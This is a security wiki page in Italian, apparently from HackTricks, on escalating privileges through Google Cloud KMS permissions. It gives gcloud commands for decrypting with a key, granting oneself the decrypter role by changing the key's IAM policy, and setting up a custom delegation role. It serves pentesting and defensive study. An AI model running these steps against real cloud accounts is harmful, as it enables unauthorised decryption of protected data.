# GCP - KMS Privesc

{{#include ../../../banners/hacktricks-training.md}}

## KMS

Informazioni su KMS:

{{#ref}}
../gcp-services/gcp-kms-enum.md
{{#endref}}

Nota che in KMS i **permission** non sono solo **inherited** da Orgs, Folders and Projects ma anche da **Keyrings**.

### `cloudkms.cryptoKeyVersions.useToDecrypt`

Puoi usare questa **permission** per **decrypt** informazioni con la **key** su cui possiedi questa **permission**.

<details><summary>Decrypt data using KMS key</summary>
```bash
gcloud kms decrypt \
--location=[LOCATION] \
--keyring=[KEYRING_NAME] \
--key=[KEY_NAME] \
--version=[KEY_VERSION] \
--ciphertext-file=[ENCRYPTED_FILE_PATH] \
--plaintext-file=[DECRYPTED_FILE_PATH]
```
</details>

### `cloudkms.cryptoKeys.setIamPolicy`

Un attaccante con questa autorizzazione potrebbe **assegnarsi i permessi** per utilizzare la chiave e decifrare le informazioni.

<details><summary>Grant yourself KMS decrypter role</summary>
```bash
gcloud kms keys add-iam-policy-binding [KEY_NAME] \
--location [LOCATION] \
--keyring [KEYRING_NAME] \
--member [MEMBER] \
--role roles/cloudkms.cryptoKeyDecrypter
```
</details>

### `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`

Ecco una spiegazione concettuale di come funziona questa delega:

1. **Service Account A** ha accesso diretto per decifrare usando una specifica chiave in KMS.
2. **Service Account B** riceve il permesso `useToDecryptViaDelegation`. Questo gli permette di richiedere a KMS di decifrare dati per conto di Service Account A.

L'uso di questo **permesso è implicito nel modo in cui il servizio KMS controlla i permessi** quando viene effettuata una richiesta di decrittazione.

Quando effettui una richiesta di decrittazione standard usando la Google Cloud KMS API (in Python o un altro linguaggio), il servizio **verifica se il service account richiedente ha i permessi necessari**. Se la richiesta è fatta da un service account con il permesso **`useToDecryptViaDelegation`**, KMS verifica se questo **account è autorizzato a richiedere la decrittazione per conto dell'entità che possiede la chiave**.

#### Configurazione per la delega

1. **Definire il ruolo personalizzato**: Crea un file YAML (es., `custom_role.yaml`) che definisca il ruolo personalizzato. Questo file dovrebbe includere il permesso `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`. Ecco un esempio di come potrebbe essere questo file:

<details><summary>Definizione YAML del ruolo personalizzato</summary>
```yaml
title: "KMS Decryption via Delegation"
description: "Allows decryption via delegation"
stage: "GA"
includedPermissions:
- "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
```
</details>

2. **Crea il ruolo personalizzato usando la gcloud CLI**: Usa il comando seguente per creare il ruolo personalizzato nel tuo progetto Google Cloud:

<details><summary>Crea ruolo KMS personalizzato</summary>
```bash
gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml
```
Sostituisci `[YOUR_PROJECT_ID]` con l'ID del progetto Google Cloud.

</details>

3. **Assegna il ruolo personalizzato a un account di servizio**: Assegna il tuo ruolo personalizzato a un account di servizio che utilizzerà questa autorizzazione. Usa il comando seguente:

<details><summary>Assegna ruolo personalizzato a un account di servizio</summary>
```bash
# Give this permission to the service account to impersonate
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member "serviceAccount:[SERVICE_ACCOUNT_B_EMAIL]" \
--role "projects/[PROJECT_ID]/roles/[CUSTOM_ROLE_ID]"

# Give this permission over the project to be able to impersonate any SA
gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \
--member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \
--role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation"
```
Sostituisci `[YOUR_PROJECT_ID]` e `[SERVICE_ACCOUNT_EMAIL]` con l'ID del tuo progetto e l'indirizzo email del service account, rispettivamente.

</details>

{{#include ../../../banners/hacktricks-training.md}}
